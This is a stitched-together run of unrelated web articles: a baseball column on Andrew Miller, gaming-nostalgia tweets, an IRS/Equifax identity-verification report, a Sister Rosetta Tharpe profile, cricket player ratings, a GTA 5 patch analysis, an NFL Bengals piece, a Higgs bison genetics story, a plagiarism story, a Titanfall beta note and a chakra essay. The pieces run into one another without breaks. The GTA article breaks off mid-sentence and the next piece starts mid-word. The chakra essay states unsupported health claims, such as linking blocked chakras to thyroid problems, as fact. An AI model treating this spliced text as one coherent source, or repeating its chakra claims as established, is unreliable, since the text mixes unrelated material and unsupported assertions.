The most recent example of this kind of dominant relief weapon in the postseason? Mariano Rivera, of course. In 2003, he faced 55 batters in eight games, and they hit.127/.127/.182 against him. In that run, he faced eight batters in the fifth game of the ALCS, then 11 batters in the seventh and deciding contest, then faced seven batters in both of his World Series appearances. That Miller is even invoking Rivera tells you how dominant a force he’s been for the Indians thus far. That Terry Francona feels free to use him in any spot, to squelch any rally, makes him the kind of bullpen weapon not seen in a very long time.
Andrew Miller, right now, is something not that different from a left-handed Mariano Rivera. And given the way the Indians are using him, he’s about as valuable as any relief pitcher can be. We haven’t seen him make it through a full playoff workload yet, and perhaps the heavy pitch counts will catch up to him at some point, but right now, Miller looks like an unhittable machine bent on destruction of the Blue Jays lineup. If Toronto is going to battle back and take this series, they’re going to have to figure out how to hit the most unhittable pitcher in baseball right now.
Good luck.We asked for gaming photos from your childhood. The response was more adorable, touching and nostalgic than we could have hoped. Below are a collection of tweets from readers who were willing to share their memories of gaming as a kid.
If you'd like to contribute, submit photos in the comments! I've included my own piece of embarrassing history above, a day I don't remember, but judging from my face and posture, I can assume was one of the best days of my life.
@plante @polygon This is me + family in Egypt in 1995, playing on a Polystation because dad "got us a Playstation". pic.twitter.com/ayxvTfJVMq — Rami Ismail (@tha_rami) July 25, 2014
@plante @Polygon this is me at the 1990 Nintendo World Championship in Detroit. pic.twitter.com/GHF3xi6mbu — Jon Lenaway (@lenawayj) July 25, 2014
@plante Apparently throwing the peace sign was a thing in the 90's. I've blocked out that memory, I guess. pic.twitter.com/IZVYsWOZS6 — Josh Holloway (@holloway) July 25, 2014
@plante @Polygon my late mom, propping me up to help me reach the controls circa the arcade days: pic.twitter.com/jWZwfxFVxD — Aldrin Cornejo (@Acornayho) July 25, 2014
@plante the beginning. I think I had already memorized the Commodore 64 boot commands when this was taken. pic.twitter.com/XpbXACEwHb — PizzaDestroyer (@AvantBlah) July 25, 2014
@plante @Polygon Me playing SimCity on a $3000 laptop in 1993, those things were expensive back then! pic.twitter.com/nUWDmC9YXc — Yngvil Osdal Runde (@YngvilOR) July 25, 2014
@plante Playing TMNT while wearing a TMNT shirt. Cowabunga! pic.twitter.com/pSwhs6kL7d — David Tremblay (@silentbum) July 25, 2014
@plante @Polygon Not sure if this counts but here's a dorky walkthrough I made when I was 10 for LoZ: Majora's Mask pic.twitter.com/r6QSLkSOcn — Gabby D (@gabdar) July 25, 2014
@plante @polygon Found it. Me and my sister playing Math Rabbit. Mom made us pose. pic.twitter.com/dDKNYmXD2l — Danny Silvers (@shadesofsilver) July 25, 2014
Just found this awesome picture of me as a dorky little kid at a Pokemon card tournament. pic.twitter.com/OoQnteA5qy — Britton Peele (@BrittonPeele) September 10, 2013
@plante @Polygon Here I amnplaying with my Atari 2600, circa 1983/84, I was seven or eight years old. pic.twitter.com/M2V61k7QjE — José M. Saucedo (@Azevrec) July 25, 2014
Against my better judgment, let's make this one public. SMB2 never had a chance. pic.twitter.com/4K6wbLb55y — Jared Newman (@OneJaredNewman) July 25, 2014
@plante @Polygon The fact that my parents also blind-bought me Xenogears was a stroke of luck - pic.twitter.com/F7zqfA4wx4 — Jason Rice (@JasonRRice) July 25, 2014
@plante 1999 - 2 years old here. That's a Terminator 2 console from what information I could find on the internet. pic.twitter.com/ZdboRlvnWj — Boyan Kolev (@Hitman_Dead_Man) July 25, 2014
@plante In 1983, there was one "Video Games Champion". THIS GUY. pic.twitter.com/SUB5AJsEqP — Trevor Whatman (@Whamtan) July 25, 2014
@plante Rented TMNT from Blockbuster, ran out of bathtub to play it. Kind of suited for work. pic.twitter.com/S0ZdQz3um3 — James G (@JimmyJames_85) July 25, 2014
@plante my father, my sister and me playing some pac-man clone running on an IBM clone. pic.twitter.com/BoeLNbg1h1 — Andreas Grenasberg (@grenasberg) July 25, 2014
This @plante story on Polygon is making me dig up old photos. So many memories. pic.twitter.com/p1Siq1jMTj — Mohammed Taher (@robokick) July 25, 2014
@plante My sister interrupted some serious Atari 2600 play in the early 80’s. http://t.co/b8lOuRZymf — Epic Whimsy (@Magicmarker78) July 25, 2014
@plante Saw a article on @Polygon! This was 1988 I was 8 months old! I was born into gaming #Pioneer #Nintendo pic.twitter.com/OndAPt5P5u — Aquatiq (@Aquatiq2688) July 25, 2014
@plante I was always making shit out of paper as a kid. pic.twitter.com/g5rEggYGC9 — Michael Burns (@nvsblgamer) July 25, 2014
@plante Did I ever tell you about the time I got the high score in Gun.Smoke? pic.twitter.com/0E7An94q3a — Robert Goode (@Shipwreck) July 25, 2014
@plante Also trying to find the picture of me hugging my new N64 on Christmas… http://t.co/7wtLzENUBS — Kristen Mukai (@k_mukai) July 25, 2014
@plante What about us 80s kids? Anyone gone so far back the photos are in b&w? Aged ~3 in 1981. Ski Run on a ZX81. pic.twitter.com/7jDMZ95bu8 — Lee Cash (@LeeCash) July 25, 2014
@plante @Polygon Here you are! Got a GameBoy that year too! Wish I could find these PJ's in my size now though... pic.twitter.com/XOokD62iRn — Mike Kreckel (@MikeKreckel) July 25, 2014
@plante This might of been from the late 80’s but I hope it still qualifies :D pic.twitter.com/k95rgroGyv — Kert Gartner (@kertgartner) July 25, 2014
@plante ~1985 in Dallas. I always wanted to do what my brothers were doing. Play games! Parents let me fake play pic.twitter.com/iKOAlEVzrx — Teresa Tyndorf (@Tantalyzer) July 25, 2014
.@plante Regional Nintendo competition. I'm in the middle. Aced Ninja Gaiden, Guerilla took me out of the running. pic.twitter.com/EvooW7tWj1 — Rich Wilson (@meathelix) July 25, 2014
@plante @Polygon This is me playing (or at least thinking that i'm playing) Super Mario w/ my dad at a Phantom System pic.twitter.com/daq3gFufVJ — Gustavo Miranda (@_walrus) July 25, 2014
@plante Me playing Jumping Flash in my room with my brother (not shown for some reason.) pic.twitter.com/3Hu69IYB1A — Thomas Severs (@Thomas_Severs) July 25, 2014
@plante @Polygon my 13th bday party. Gathered around the SEGA. Who needs a 60" screen? pic.twitter.com/nYOrsIRsTP — David Potsiadlo (@davidpots) July 25, 2014
@plante @Polygon 8 year old me. I think I was eating Mcdonalds with one hand, and playing Lego Racers with the other. pic.twitter.com/CjC55jDfmu — Frank Mar (@DeScruff) July 25, 2014
@plante Here's another one with my brothers at the arcade: pic.twitter.com/RdoLgws1WA — Mohammed Taher (@robokick) July 25, 2014
@plante this is the best I have on hand right now! Gonna do some digging though. pic.twitter.com/LySHkKSlIN — Ben White (@Anzekay) July 25, 2014
@plante If you'd like to use that piece of 1996 Sega fandom glory, here's a more sharable version. pic.twitter.com/MbKOwgPk87 — Luis Elias Badillo (@Agent_Eli) July 26, 2014
That time in the 90s when I was in Hanson and could afford all the baggy clothes and N64 games I wanted. :/ @plante pic.twitter.com/9coiaHTNrU — Matt Allan (@Hooray_For_Matt) July 26, 2014
@plante @Polygon Late to the fray but I'm on the far right, Linden left, little bro and friend wrestling. pic.twitter.com/RYemWk29Ue — StolenName (@StolenName) July 26, 2014
@plante Christmas 1998. Had a US N64 in the UK. Getting a US copy was amazing. Note the ‘stash. pic.twitter.com/67rNeG9J6J — Jonathan (@harropj) July 26, 2014
@plante @Polygon me trying to figure out how to operate my brand new Oric Atmos. That Slalom game was the bomb. pic.twitter.com/hO7Z6fmnuh — Valtteri Hyttinen (@VHyttinen) July 26, 2014
@plante @polygon Back in my day Pac-Man was in my blood. At least in cake form. (I’m the blonde kid) pic.twitter.com/1BvM69B8WA — Jim Barraud (@jbarraud) July 25, 2014
@plante @polygon My cousins and I, with me repping Donkey Kong Country and a sweet track suit. pic.twitter.com/rYptWQNztU — Eric P. (@emanatee) July 25, 2014To confirm that US taxpayers are who they say they are, the Internal Revenue Service (IRS) uses an identity verification system made by credit-rating agency Equifax. The system, known as Knowledge-Based Authentication, or KBA, asks questions based on a person’s credit history, such as “On which of the following streets have you lived?” or “What is your total scheduled monthly mortgage payment?”
In 2015, the Equifax KBA system used by the IRS was hacked in a data breach that resulted in the loss of more than 700,000 tax records. Equifax revealed a month ago that it was itself hacked earlier this year, leading to the theft of 145.5 million people’s data.
And last week the IRS awarded a $7.25 million contract to Equifax to continue using its KBA system.
The IRS data breach in 2015 occurred after hackers broke into the agency’s website through its “Get Transcript” page, which allows users to obtain past tax records. It’s never been clear how hackers managed to correctly answer the KBA questions for 724,000 Americans, but experts have speculated that they must have used data stolen in previous data breaches.
In the Equifax breach last month, the stolen data included “names, Social Security numbers, birth dates, addresses and, in some instances, driver’s license numbers,” according to a statement by the company. “In addition, credit card numbers for approximately 209,000 U.S. consumers, and certain dispute documents with personal identifying information for approximately 182,000 U.S. consumers.”
While such data could potentially be useful in hacking KBA systems, particularly those provided by Equifax itself, the IRS told Quartz in a statement that “simply having Equifax data would not be enough for a bad actor to access the system,” and added that the new Equifax contract was “awarded to Equifax to prevent a lapse in service,” and is a “short-term contract.”
“Equifax advised us that no IRS data was involved in their breach,” the statement said. “Following an internal review and an on-site visit with Equifax, the IRS believes the service Equifax provided does not pose a risk to IRS data or systems. At this time, we have seen no indications of tax fraud related to the Equifax breach, but we will continue to closely monitor the situation.”
No IRS data may have been stolen, but as long as the IRS relies on Equifax’s KBA system, it is partially relying on a system powered by the data that Equifax keeps on its customers, some of which has now been stolen.
Following the 2015 breach, the IRS shut down the Get Transcript page that used Equifax’s KBA system, and gave the victims of the breach “Identity Protection PINs,” which are secret codes they must now put on all of their tax returns. If someone were to lose their PIN, they could retrieve it by logging into the “Get IP PIN” service on the IRS website. But that login process was also secured by Equifax’s KBA, and was also hacked. Like the Get Transcript page, the Get IP PIN page was subsequently shut down.
Today, however, both the Get Transcript and Get IP PIN pages are up and running on the IRS website. They each require credit history information for verification. It’s unclear whether those pages still use the data from the previously hacked Equifax KBA system. When asked if they do, the IRS declined to comment, but pointed out that applications like Get Transcript now use additional security measures when a user logs in, such as sending a one-time code to her cellphone.
Related articles:(Image: © Tony Evans/Timelapse Library Ltd./Getty Images)
You could be forgiven if you've never heard the name Sister Rosetta Tharpe—or if you're surprised to hear that to many, she's considered “the Godmother of Rock and Roll."
Sister Rosetta might not be a household name; however, as a young woman during the 1940s through the Sixties, her recorded music and live performances played a highly significant role in the creation of rock, with Elvis Presley, Jerry Lee Lewis, Johnny Cash, Little Richard and Chuck Berry citing her as an inspiration.
As a musician, she was simply ahead of her time. Maybe even by several decades. Born in 1915 in Cotton Plant, Arkansas, Tharpe developed her distinctive style of singing and playing at age 6, when she was taken by her evangelist mother to Chicago to join Roberts Temple Church of God in Christ. At 23 she left the church and moved to New York. While performing there, she was signed by Decca Records.
For the following 30 years she performed extensively to packed venues across the U.S. and Europe and recorded more than a dozen albums. Sister Rosetta died in 1973, and very little video footage exists of her today. However, what is around is not to be missed. The clips below, which were shot in the 1960s, feature Rosetta armed with her '62 Gibson Les Paul Custom (renamed SG in 1963).
In the top video, she's playing “Up Above My Head,” a reimagined church standard with an added guitar solo, while a full gospel choir claps their hands in time to the music. In the second video, Rosetta plays “Didn't It Rain.” It was recorded under the eaves of an abandoned train station just outside Manchester, England, in 1964. Rosetta’s remarkable musical legacy is undoubted by those who know of her impact on modern music.
Jonathan Graham is an ACM UK graduate based in London studying under the likes of Guthrie Govan and Pete Friesen. He is the creator of the Forgotten Guitar Facebook page, a classic-guitar media website, and is completing his debut album, Protagonist. Updates also can be found at Graham's YouTube channel.After a six-wicket defeat to India in the fourth Test in Delhi ended Australia's often farcical tour on a new low, we pass judgement on each player's performance.
Ed Cowan
Rating: 5 out of 10
Another solid if unspectacular showing from Ed Cowan pretty much summed up his series. The left-hander looked more comfortable at the crease than many of his teammates and took up some valuable time at the crease, but failed to convert his good starts (38 and 24) into potential match-winning scores.
David Warner
Rating: 2 out of 10
Not David Warner’s most memorable match, for a number of reasons. For starters, he made a total of eight runs from two innings, including a very loose stroke to get out for a day one duck. He was also involved in a heated exchange with MS Dhoni that earned him a stern rebuke from the umpires, and an almighty send-off from India’s players when he was dismissed on day three.
Phil Hughes
Rating: 5.5 out of 10
Hughes continued his good form from the third Test with a well-compiled 45 on day one, before a wicked bounce from the Delhi pitch hit him on the helmet and threw him off his game. Showed enough improvement to prove he can handle the pressure at the highest level.
Shane Watson
Rating: 3.5 out of 10
What an eventful couple of weeks for Shane Watson. Suspended, going home for the birth of his first child, then becoming captain of Australia. Perhaps it was all too much as he struggled with the bat, failing to impose himself on the Indian bowlers. But he has to be commended for his captaincy, which saw Australia finally spark to life in the field.
Steve Smith Source: AAP
Steve Smith
Rating: 5.5 out of 10
Like Hughes, Smith continued his good form in the first innings, again appearing the most comfortable of the batsmen against India’s spinners. He only made 18 in the second innings and was completely deceived by a good ball from Jadeja. Smith didn’t bowl in this match.
Matthew Wade
Rating: 2 out of 10
Wade could find his spot coming under a bit of pressure from Brad Haddin after a sub-par showing in Delhi. He recorded scores of two and 19, with his most telling contribution probably his running verbal stoush with Virat Kohli. Wade also missed a couple of key, albeit quite difficult, chances with the gloves.
Glenn Maxwell
Rating: 3.5 out of 10
Glenn Maxwell already has several titles – The X-Factor, The Big Show – but now he can add Test match opener to that list. That experiment failed, as the only significant runs he got during the match were made on a Delhi toilet. He picked up three wickets and troubled some of the Indian batsmen at times, but leaked plenty of runs as well. Pardon the pun.
Mitchell Johnson
Rating: 2 out of 10
After missing his chance to be called up for the pace-friendly Mohali Test due to the homework affair, Johnson was largely ineffective in Delhi. The left-armer didn’t take a wicket and rarely looked like taking one, while he only made three runs with the bat.
Peter Siddle Source: AAP
Peter Siddle
Rating: 7.5 out of 10
Siddle is the latest bowler to show up Australia’s top-order batsmen. He hit half-centuries in both innings – the first time a No.9 has done so in Test cricket – and made the pitch look laughingly easy to bat on after his teammates made it look like a minefield just minutes earlier. With the ball, Siddle only took one wicket but at least kept the runs to a minimum.
James Pattinson
Rating: 6 out of 10
Even on a pitch as spin-friendly as this one, Pattinson still managed to extract a fair amount of bounce and his short-pitched bowling had the Indians ruffled on day two. He had just one wicket to show for it though, while his innings of 30 and 11 provided a good foil for Siddle.
Nathan Lyon
Rating: 8 out of 10
Lyon picked up his best Test bowling figures in Delhi, and deservedly so. The off-spinner bowled with good patience, choosing the right moments to throw in his variations, and was rewarded with nine wickets for the match. Dispelled any doubt that he’s the best spinner in the country.UPDATE 2/4/15 5:41pm: Rockstar has just rolled out patch 1.10 for Grand Theft Auto 5, which it says fixes "graphical issues across GTA Online and Story Mode". After downloading the 4.7GB update on PS4, we can confirm that parallax occlusion mapping is back in the game, and based on initial observations, the performance improvements seen in patch 1.09 remain in effect on the Sony platform.
Original Story: Last week, YouTube footage emerged showing that Grand Theft Auto 5's 1.08 patch for PS4 and Xbox One had seemingly downgraded elements of the visual presentation. Parallax occlusion mapping was gone, anisotropic texture filtering had apparently been made even worse than it was already, while collision physics had been simplified. On top of that, long distance pop-in also seemed to take a turn for the worst. Had Rockstar really released an update for the game that made GTA 5 significantly worse, not better?
Our schedule was too packed to take a look at it at the time, but the video clearly had an effect on the developer, who posted this message: "We are aware of some graphical issues on the Xbox One and PS4 versions of GTA 5 after the most recent Title Update, and we are investigating a fix now."
That fix appeared to arrive shortly thereafter in the form of patch 1.09, and according to the "ElAnalistaDeBits"- creator of the original YouTube vid - collision physics and deformation, along with the distance pop-in had been resolved, but parallax occlusion mapping and texture filtering were still borked. And that's where we come in. It's been a while since we looked at GTA 5, but we archive as much of our work as we can, and we still retain our launch day assets based on version 1.02 - the day one patch. You never know when they'll come in handy.
Our take? Well, ElAnalistaDeBits has got it right when it comes to parallax occlusion mapping: the effect is now gone on the current builds of GTA 5 on both PS4 and Xbox One, and that's a bit of a shame - the effect adds an extra dimension to a vast range of incidental textures in the game, turning flat rock textures into fully formed 3D objects, for example. However, the effect is computationally expensive (POM was removed from Destiny prior to its release, for example) and also doesn't play nicely with anisotropic filtering. GTA 5 does appear to use AF, albeit a lower grade form of it compared to what we would expect from its utilisation on PC.
Parallax occlusion mapping is a technology that allows developers to give an extra dimension to otherwise flat textures, as seen on the stones in the centre of the image here. Where once they extruded from the ground, now they're as flat as a pancake. Zooming up really close to the stones via the game's smartphone camera breaks the illusion a little but shows how detail extrudes on the old version of GTA 5 and how now it is completely flat. During general gameplay - most especially in third person mode, parallax occlusion mapping is a fairly subtle effect that doesn't add a huge amount to any given scene, but it's much more useful in first-person mode. During general gameplay - most especially in third person mode, parallax occlusion mapping is a fairly subtle effect that doesn't add a huge amount to any given scene, but it's much more useful in first-person mode. Reports that texture filtering on GTA 5 has got worse since the 1.08 patch didn't seem to check out based on our assets. In like-for-like scenes, the effect looks much the same. Reports that texture filtering on GTA 5 has got worse since the 1.08 patch didn't seem to check out based on our assets. In like-for-like scenes, the effect looks much the same.
However, the game's texture filtering set-up looks unchanged between versions 1.02 and 1.09, and based on the original video, we're unsure to what it extent it was ever changed - if at all. There also appears to be parity between our two tested versions when it comes to deformation and physics, so if there was a downgrade in 1.08, it does now seem to have been addressed, as suggested.
But with the focus on the negative aspects of the patch, are there are any actual advantages to the new code? Well, we have to bear in mind that we're unsure of what optimisations - if any - were rolled out between versions 1.03 and 1.08, but there's certainly good news for PlayStation 4 owners with the latest 1.09 code. Parallax occlusion mapping may be gone, but the noticeable frame-rate hits we originally noted while crossing busy junctions in downtown traffic are now gone. This proved to be a significant advantage to the Xbox One version of the game, which had the same issue - but to nowhere near the same extent.
However, the new patch is uniformly bad news for Xbox One owners. Parallax occlusion mapping is gone on the Microsoft platform too, but there are no plus points to the 1.09 version that we could find - performance is mostly a match for the launch game. Indeed, in one area, we actually see lower reported frame-rates compared to |
impose) compensation,” the CCPC said.Sources said that the decision was taken unanimously by CCPC, which has members from central and state governments, besides representatives from consumer organizations and academicians. The sub-committee may be formed in less than a week and could submit its recommendations by February-end, sources said.Some members told TOI the issue of southern superstar Mamootty endorsing products was discussed. “We have similar problems across the country. We have Shahrukh Khan or some other Hindi film star endorsing consumer items and they get huge payment for doing so. A misleading ads featuring such famous faces shown on TV even for a day serves the purpose of advertisers. We discussed how suo motu action can be taken against ads which have been withdrawn. Even the celebrities must pay compensation in case there is a complaint,” said Joseph Victor, a CCPC member.Another member, Ashim Sanyal, said he had raised the issue of monitoring ads, which are in huge numbers and across different modes and media. “We need to plan the mechanism for monitoring. The sub-committee will come out with directions and provisions to deal with the menace,” he added. Lok Sabha MP Charles Dias, who also attended the meeting, told TOI that concerns were raised on manufacturers’ ad spend, which is passed on to buyers. “Most of us felt that there should some sort of monitoring on how much is being spent on advertisements,” he said.Al Behrman/Associated Press
Two touchdown passes and one interception.
Those are somewhat-typical game statistics for any quarterback in the NFL, win or lose.
In this instance, these are season numbers. They are stats for a player who has started all three games in 2014, with his team coming up a winner each time.
Ladies and gentlemen, I give you Cincinnati Bengals fourth-year quarterback Andy Dalton, who has led his team to a 3-0 start for the first time since 2006.
Of course, Dalton has done more than that to date. The Bengals have reached the playoffs each of his three years with the former second-round pick at the helm. Three straight postseason appearances is a franchise record and Marvin Lewis' club is off to a great start in 2014.
In a quarterback-driven league, Dalton has more often driven his fans and observers crazy with his up-and-down play and woeful performances in the playoffs. That’s another matter for another time.
The question here is not how the Bengals are only the lone team in the AFC that has not lost a game to date, but how Lewis and Co. are making it look somewhat easy without a dominating performance from their man behind center.
Let us count the ways.
Defense
Defense has been the calling card of this Cincinnati squad in recent seasons. After three weeks of play this year, things have not changed.
In 2013, the Bengals not only gave up the third-fewest total yards in the NFL; they were the only team in the league to finish ranked in the top five versus the run and the pass.
This season to date, the numbers haven’t been awe-inspiring, but the results have been spectacular. Cincinnati has given up just 33 points and four touchdowns in three games. Defensive coordinator Paul Guenther’s unit has totaled seven sacks while the Bengals have forced seven turnovers, including six interceptions. Defensive ends Carlos Dunlap (3.0) and Wallace Gilberry (1.5) have combined for 4.5 sacks, with the rest coming from free safety Reggie Nelson (1.5) and rookie cornerback Darqueze Dennard (1.0).
Darron Cummings/Associated Press
Through three games in 2014, the Bengals are allowing 352.7 yards per contest, up substantially from last season’s performance (305.5 yards per game). However, Lewis’ team has allowed just 10 points and one touchdown in the first three quarters to date.
Balance
How can you not like what you see from this team in terms of attacking the opposition?
New offensive coordinator Hue Jackson is stressing the running game even more in Cincinnati these days. A year ago, led by veteran BenJarvus Green-Ellis and then-rookie Giovani Bernard, the Bengals ranked just 18th in the NFL with only 109.7 yards per game on the ground. The team ran the ball 43.8 percent of the time last season.
In three games with Jackson at the controls, Cincinnati has run 190 offensive plays, 102 of which have been on the ground (a tidy 53.7 percent). The new 1-2 punch in the Queen City of Bernard (185 yards, three touchdowns) and rookie Jeremy Hill (132 yards, two touchdowns) have combined for 317 of the team’s 365 rushing yards and all five of Cincinnati's touchdowns on the ground.
USA TODAY Sports
That has certainly made life easier for Dalton, as well as Cincinnati’s talented pass-catching corps of wide receivers A.J. Green and Mohamed Sanu—who, along with Bernard, all lead the team with a dozen receptions—as well as speedy Brandon Tate and tight ends Jermaine Gresham and Tyler Eifert. (Eifert, who dislocated his elbow in Week 1, is currently on the short-term injured reserve list, and won't return until November at the earliest.)
Wide receiver Marvin Jones, who's been sidelined with a broken foot for the first three weeks of the season, will also soon be healthy and back on the field. It’s quite a set of weapons for Dalton to utilize.
Offensive Efficiency
USA TODAY Sports
Make no mistake. While Dalton’s touchdown-to-interception numbers are less than inspiring, it’s not like he is playing poorly. He’s completing 65.5 percent of his passes and has thrown for 722 yards in three weeks.
In 2013, the Bengals quarterback connected on 61.9 percent of his throws and threw 33 touchdown passes compared to 20 interceptions. It’s those picks that left Lewis and Dalton's teammates scratching their headsets and helmets, respectively. And Dalton’s passing numbers in three playoff games in three years—one touchdown compared to six interceptions—have been dismal, to say the least.
But look at what we have seen so far in 2014. Cincinnati has scored 80 points and eight touchdowns. Just before halftime on Sunday against the Tennessee Titans, Dalton had a pass deflected and picked off by safety George Wilson. It was not only Dalton’s first interception of 2014, but the team’s only turnover this season to date.
Let’s take it a step further. The Bengals have not only failed to lose a fumble this season, no one on the team has fumbled in three games. In 88 pass plays, Cincinnati has not allowed a sack. This kind of effective performance will win you a lot of football games…and to date, it has.
Conclusion
So where do the Bengals go from here? There’s a long way to go, but a fourth straight playoff appearance is certainly highly realistic. Cincinnati has become a very tough place to play as the team has won its last 11 regular-season home games to date.
And what about Dalton, one of the league’s more maligned quarterbacks despite his successes? Do we need to see more from him in terms of numbers? While he’s thrown for only two scores in three contests, he did catch a touchdown pass in Sunday’s 33-7 win over Tennessee.
But let’s keep something else in mind. A ton of touchdown passes in the regular season doesn’t add up to a Super Bowl title. Just ask Peyton Manning, Tom Brady, Dan Marino or Aaron Rodgers. Only once has a quarterback thrown for at least 40 scores and won the Super Bowl the same season (St. Louis Rams and Kurt Warner in 1999).
So can Andy Dalton lead Cincinnati to its first Super Bowl title five months from now? Winning at least one playoff game is essential to the cause.
While the young signal-caller doesn’t have to carry the team on his back, he just needs to make sure what he’s carrying doesn’t wind up in another team’s hands.For more than a decade, researchers have been scratching their heads at strange results from genetic studies of late ice age bison bones and teeth that have hinted at an undiscovered extinct species. They call this elusive beast the “Higgs bison” after the Higgs boson particle that was finally discovered after 48 years of speculation. In the genetic studies, researchers noticed that some sections of ancient steppe bison genomes seemed out of place, as if they belonged to another species. But the evidence was never strong enough to declare the Higgs bison’s existence. Now, French cave scientists have pointed these researchers to what might give them the answer—early cave art in the Lascaux and Pergouset caves in France. There, cave art from between 18,000 and 22,000 years ago shows animals with distinct steppe bison features: long horns and hefty, robust forequarters (above). But about 5000 years later, that depiction changes to show bison with balanced body proportions and smaller, thinner horns. That shift in features could signify that an entirely different species was roaming the chilly European grasslands at that time, the researchers write today in Nature Communications. To confirm this, they sequenced the mitochondrial and nuclear DNA from bison bones and teeth from 20 sites across Europe, the Urals, and the Caucasus dating to between 12,000 and 22,000 years old. They were astounded to find that not only did a separate species appear between 13,000 and 17,000 years ago, but that it was the hybrid offspring of the steppe bison—whose descendants include today’s American bison—and another extinct cowlike mammal called the aurochs. And the new hybrid seems to have had an evolutionary advantage over its parents: The scientists speculate that the Higgs bison outlived both groups to itself give rise to today’s European bison.This could possibly be the worst case of plagiarism in politics, yet. The Denver Post has uncovered a $300,000 case of it in GOP gubernatorial candidate Scott McInnis's past.
Although GOP gubernatorial candidate Scott McInnis presented his "Musings on Water" for publication as original works, portions are identical and nearly identical to an essay on water written 20 years earlier by now-Colorado Supreme Court Justice Gregory J. Hobbs. A Clemson University expert who reviewed McInnis' work next to Hobbs' essay called it a clear case of plagiarism of both words and ideas. McInnis' water articles were a required part of his two-year fellowship at the Hasan Family Foundation in 2005 and 2006. The former congressman, who left office in 2004, was paid $300,000 to do speaking engagements and "research and write a monthly article on water issues that can be distributed to media and organizations as well as be available on the Internet." Totaling 150 pages over 23 installments, the articles discussing state water policy are devoid of footnotes, endnotes or other forms of attribution.
One of those installments has four full pages that are "nearly reprinted verbatim" from the Hobbs essay. McInnis isn't commenting, but his spokesperson says he recognizes there are similarities, "but blamed a researcher." A researcher who was involved despite the fact that Foundation granting him fellowship stipulated that the work was intended to be done "solely by Mr. McInnis, and not in concert with anyone else," according to a statement from the Hasan Family Foundation.
So he took $300,000 to steal someone else's work, and then blames the theft on someone else, despite the fact that the only name that appeared on McInnis's work was his own. How Republican of him.UPDATE: Respawn Entertainment has confirmed through their Twitter page that the Beta will NOT be tied to those with pre-orders, which is good news for all!
Well, the news many gamers have all been anticipating for the last few weeks is finally here, we WILL be seeing a Titanfall beta dropping onto the Xbox One and PC platforms. Full details of the beta are expected to be arriving in the next few days, and I for one hope that this will be a free-for-all beta of sorts, with no restrictions of access.
We’re excited to announce Titanfall will offer a PC and Xbox One Beta. Details coming soon #Titanfall pic.twitter.com/v7S70jf4BI — Titanfall (@Titanfallgame) January 28, 2014
The news of the beta comes as little surprise to most people after the previous Alpha that was opened up to a small selection of gamers as a “limited technical test” – the demand for a public beta has since skyrocketed for what is already one of the most anticipated games of the year.
Keep your eyes peeled for any further developments on the matter, right here on JumpToGamer.Each of the seven chakras are governed by spiritual laws, principles of consciousness that we can use to cultivate greater harmony, happiness, and wellbeing in our lives and in the world.
The First Center: The Root Chakra
The root chakra, known in Sanskrit as muladhara, is located at the base of the spine. It governs your most basic survival needs. When this chakra is clear and energy flows through it freely, we feel secure and confident that we can easily fulfill our needs. However, blockage in this area can cause us to feel anxious and worried.
The spiritual Law of Karma governs the first energy center. On the physical plane, every action you perform results in a corresponding reaction. To maximize the possibility that your actions generate evolutionary reactions, you can use your body as a choice determining instrument.
Consider the possibilities in front of you and listen to signals from your body. These sensations generating from the root chakra are either comfortable or uncomfortable. Your body evaluates every possible decision in terms of its likelihood to meet your needs for safety or increase the level of threat you experience. The first chakra, which connects you with the earth, provides essential information as to the potential nourishment or toxicity that is available to you as a result of the actions you are taking.
The Second Center: Creativity Chakra
The creativity chakra, called svadhishtana, is associated with creativity in all its expressions. Located in the area of your sexual organs, the energy of this center can be used for biological reproduction. When channeled into higher energy centers, it fuels the creative force that enables you to paint a beautiful picture, build a business, or create a life of love and abundance.
The Law of Least Effort is lively in the second chakra. When your vital energy is flowing through your center of creativity, you co-create your life. The solution to every problem is rarely on the level of the problem. Rather, it comes from a deeper domain of creativity. Creativity is the process of taking the same raw material and creating different contexts and relationships between the components.
For example, when a composer creates a new piece of music, he is using the same notes in a new relationship with one another other, resulting in the emergence of something that did not exist before. The second chakra utilizes the raw material of the root chakra to create the world anew each day.
The Third Center: Energy Chakra
The energy chakra, manipura, is localized in your solar plexus. It's the seat of your power in the world. When this center is open and flowing, you are capable of translating your intentions and desires into manifestation. When it is blocked, you feel frustrated and ineffectual.
The Law of Intention and Desire governs the third chakra. The seeds of intentions and desires reside in your personal soul. Nourishing the seeds you wish to germinate with your attention will lead to their full expression. It is important to be clear about your intentions so you are not surprised when they bear fruit.
The process of manifesting your desires is to first bring them into consciousness, followed by expanding your awareness through meditation, and finally releasing your intentions and detaching from the outcome. You can control your actions, however you cannot control the fruit of your actions. Keep your life energy flowing freely through your third chakra and the light and heat of your intentions will radiate on the world.
The Fourth Center: Heart Chakra
The heart chakra represents the unifying energy of love and compassion. Known as anahata, it is located at the center of the chest. The heart chakra is dedicated to overcoming separation and division. When the heart center is blocked, there is a sense of alienation from others. When the heart center is open and flowing, you feel connected at a deep level to all beings in your life.
The Law of Giving and Receiving governs the heart chakra. Love can take many different forms at different stages of life. The love of child for her mother is different than a mother’s love for her child. A friend’s love is different than that of a passionate lover or the love of a student for his teacher. However so, the common thread in each of these expressions of love is the impulse to unify—to overcome separation. This is the nature of the heart.
Every act of giving is simultaneously an act of receiving. Each time you welcome a gift into your life, you are providing the opportunity for someone to give. Just as a healthy physical heart receives blood from the periphery which it then oxygenates and pumps back out, your emotional heart stays healthy by receiving and giving love in all its forms.
The Fifth Center: Expression Chakra
The throat chakra, called visshuddha in Sanskrit, is the center of expression. When the fifth chakra is open and flowing, you have the confidence that you are capable of communicating your needs. When the fifth chakra is obstructed, a person will often feel that they are not being heard. In order to feel alive and empowered, it's important that this energy center is clear. Blockages in this area are often associated with thyroid problems or chronic neck pain.
The Law of Detachment governs the throat chakra. An open fifth chakra enables you to express your truth without concern for censors or critics. This does not mean you say things that are intentionally hurtful or insensitive. On the contrary, people with open centers of communication are skillful in expressing their needs in ways that are life supporting. Anxiety over how people will react to your views does not arise when energy is flowing freely through the chakra of expression.
The Law of Detachment reminds you that you can choose your words and actions, but you cannot control the response to your words and action. When your intentions are clear, and your heart is open, you will spontaneously demonstrate right speech trusting that the universe will handle the details.
The Sixth Center: Intuition Chakra
The intuition chakra, known in Sanskrit as ajna, is located in the forehead. It is the center of insight and intuition. When this center is open, you have a deep sense of connection to your inner voice, and feel guided in your choices. When blocked, there is a sense of self-doubt and distrust. The opening of this chakra is usually associated with a clear sense of connection to ones dharma, or purpose in life.
